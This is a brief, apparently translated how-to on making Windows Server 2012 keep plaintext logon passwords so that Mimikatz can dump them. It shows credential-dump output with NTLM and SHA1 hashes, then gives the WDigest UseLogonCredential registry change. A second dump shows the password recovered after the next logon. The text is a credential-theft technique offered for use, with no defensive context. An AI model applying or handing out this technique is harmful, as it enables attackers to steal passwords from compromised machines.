Windows 2012 catch PlainText password method

The default configuration is to not catch the plaintext password, artifact Mimikatz display password is null

Authentication id:0; 121279 (00000000:0001D9BF)
Session:interactive from 1
User Name:mickey
Domain:win-b054laoh5fc
Logon SERVER:WIN-B054LAOH5FC
Logon TIME:2014/2/7 16:13:37
sid:s-1-5-21-3697557613-2315859964-140861748-1001
MSV:
[00000003] Primary
* Username:mickey
* DOMAIN:WIN-B054LAOH5FC
* NTLM:31D6CFE0D16AE931B73C59D7E0C089C0
* sha1:da39a3ee5e6b4b0d3255bfef95601890afd80709
[00010000] Credentialkeys
* NTLM:31D6CFE0D16AE931B73C59D7E0C089C0
* sha1:da39a3ee5e6b4b0d3255bfef95601890afd80709
TSPKG:
Wdigest:
* Username:mickey
* DOMAIN:WIN-B054LAOH5FC
* Password: (NULL)
Kerberos:
* Username:mickey
* DOMAIN:WIN-B054LAOH5FC
* Password: (NULL)
Ssp:ko
CredMan:

The "uselogoncredential" that needs to be hklm:\system\currentcontrolset\control\securityproviders\wdigest is set to 1, and the type is DWORD 32. And then the next time the user logs in, the plaintext password will be recorded.




Authentication id:0; 2506062 (00000000:00263D4E)
Session:interactive from 2
User Name:mickey
Domain:win-b054laoh5fc
Logon SERVER:WIN-B054LAOH5FC
Logon TIME:2015/5/11 11:47:35
sid:s-1-5-21-3697557613-2315859964-140861748-1001
MSV:
[00010000] Credentialkeys
* ntlm:ad12521316a18d2172f20db07674c278
* sha1:85b6b322a966fe19f758ee15fd7516c23c33cb7c
[00000003] Primary
* Username:mickey
* DOMAIN:WIN-B054LAOH5FC
* ntlm:ad12521316a18d2172f20db07674c278
* sha1:85b6b322a966fe19f758ee15fd7516c23c33cb7c
TSPKG:
Wdigest:
* Username:mickey
* DOMAIN:WIN-B054LAOH5FC
* Password: [email protected]


Reference links
Http://www.labofapenetrationtester.com/2015/05/dumping-passwords-in-plain-on-windows-8-1.html

Windows 2012 catch PlainText password method